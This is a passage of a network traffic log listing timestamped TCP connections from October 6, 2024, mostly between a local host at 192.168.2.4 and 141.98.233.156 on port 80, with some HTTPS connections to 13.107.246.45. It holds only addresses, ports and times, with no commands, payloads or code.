Oct 6, 2024 22:33:09.788533926 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.788559914 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.788578987 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.788585901 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.788599014 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.788603067 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.788618088 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.788623095 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.788630009 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.788672924 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.788683891 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.788692951 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.788714886 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.788722038 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.788736105 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.788743973 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.788758039 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.788764000 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.788784981 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.788800955 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.788953066 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.788973093 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.788990974 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.788994074 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.789010048 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.789015055 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.789033890 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.789041996 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.789055109 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.789088011 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.789307117 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.789326906 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.789347887 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.789354086 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.789371967 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.789374113 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.789396048 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.789398909 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.789418936 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.789418936 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.789439917 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.789443970 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.789460897 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.789460897 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.789478064 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.789482117 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.789501905 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.789519072 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.789530039 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.789549112 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.789567947 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.789580107 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.789586067 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.789597034 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.789607048 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.789614916 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.789628029 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.789633036 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.789648056 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.789653063 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.789669991 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.789673090 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.789691925 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.789694071 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.789712906 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.789731026 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.789963007 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.789982080 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.790003061 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.790021896 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.790023088 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.790023088 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.790044069 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.790045023 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.790061951 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.790082932 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.790083885 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.790105104 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.790127039 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.790143967 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.790288925 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.790319920 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.790338993 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.790344954 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.790359020 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.790378094 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.790388107 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.790388107 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.790397882 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.790409088 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.790422916 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.790429115 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.790448904 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.790508032 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.790508986 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.790527105 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.790546894 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.790574074 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.790576935 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.790596962 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.790596962 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.790642977 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.790647984 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.790667057 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.790668011 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.790695906 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.790702105 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.790716887 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.790721893 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.790735006 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.790745020 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.790755987 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.790765047 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.790776014 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.790788889 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.790796995 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.790862083 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.791044950 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.791062117 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.791080952 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.791099072 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.791099072 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.791120052 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.791121006 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.791141033 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.791160107 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.791177034 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.791182041 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.791203976 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.791203976 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.791203976 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.791229010 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.791481018 CEST	443	49755	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.793787956 CEST	49755	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.793795109 CEST	443	49755	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.794245005 CEST	49755	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.794250011 CEST	443	49755	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.806238890 CEST	443	49754	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.806638956 CEST	49754	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.806653023 CEST	443	49754	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.807094097 CEST	49754	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.807099104 CEST	443	49754	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.834346056 CEST	443	49751	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.834391117 CEST	443	49751	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.834479094 CEST	49751	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.834671974 CEST	49751	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.834695101 CEST	443	49751	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.834708929 CEST	49751	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.834718943 CEST	443	49751	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.837987900 CEST	49756	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.838017941 CEST	443	49756	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.838085890 CEST	49756	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.838224888 CEST	49756	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.838243008 CEST	443	49756	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.853358984 CEST	443	49753	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.853717089 CEST	443	49753	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.853791952 CEST	49753	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.853820086 CEST	49753	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.853832006 CEST	443	49753	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.853859901 CEST	49753	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.853866100 CEST	443	49753	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.856118917 CEST	49757	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.856179953 CEST	443	49757	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.856528044 CEST	49757	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.856677055 CEST	49757	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.856712103 CEST	443	49757	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.870429993 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.870466948 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.870484114 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.870496035 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.870546103 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.870611906 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.870626926 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.870641947 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.870657921 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.870657921 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.870693922 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.870726109 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.873132944 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.873147964 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.873176098 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.873193026 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.873224020 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.873287916 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.873302937 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.873318911 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.873333931 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.873348951 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.873352051 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.873382092 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.873382092 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.873402119 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.873445988 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.873461008 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.873507023 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.873519897 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.873537064 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.873580933 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.873689890 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.873704910 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.873722076 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.873738050 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.873749971 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.873750925 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.873754025 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.873771906 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.873791933 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.873811007 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.873871088 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.873886108 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.873928070 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.873991013 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.874006987 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.874049902 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.874099970 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.874146938 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.874170065 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.874185085 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.874200106 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.874213934 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.874214888 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.874233007 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.874257088 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.874286890 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.874450922 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.874600887 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.874615908 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.874630928 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.874644995 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.874656916 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.874661922 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.874677896 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.874677896 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.874695063 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.874697924 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.874710083 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.874720097 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.874725103 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.874737024 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.874742031 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.874758959 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.874759912 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.874789000 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.874809027 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.875025034 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.875049114 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.875063896 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.875078917 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.875093937 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.875096083 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.875109911 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.875114918 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.875124931 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.875133991 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.875144005 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.875171900 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.875171900 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.875185013 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.875191927 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.875201941 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.875219107 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.875231981 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.875243902 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.875262022 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.875299931 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.875514984 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.875529051 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.875550032 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.875564098 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.875566006 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.875581980 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.875590086 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.875591040 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.875597954 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.875611067 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.875629902 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.875631094 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.875644922 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.875649929 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.875659943 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.875667095 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.875674963 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.875688076 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.875689983 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.875705004 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.875706911 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.875724077 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.875725031 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.875737906 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.875751019 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.875751019 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.875761986 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.875777006 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.875781059 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.875781059 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.875790119 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.875808001 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.875813961 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.875823021 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.875833988 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.875843048 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.875849009 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.875864983 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.875880003 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.875883102 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.875883102 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.875897884 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.875910997 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.875910997 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.875931025 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.875950098 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.876085043 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.876100063 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.876115084 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.876128912 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.876162052 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.876162052 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.876209974 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.876225948 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.876239061 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.876252890 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.876256943 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.876267910 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.876282930 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.876283884 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.876282930 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.876300097 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.876305103 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.876315117 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.876332045 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.876332045 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.876343966 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.876352072 CEST	49741	80	192.168.2.4	141.98.233.156
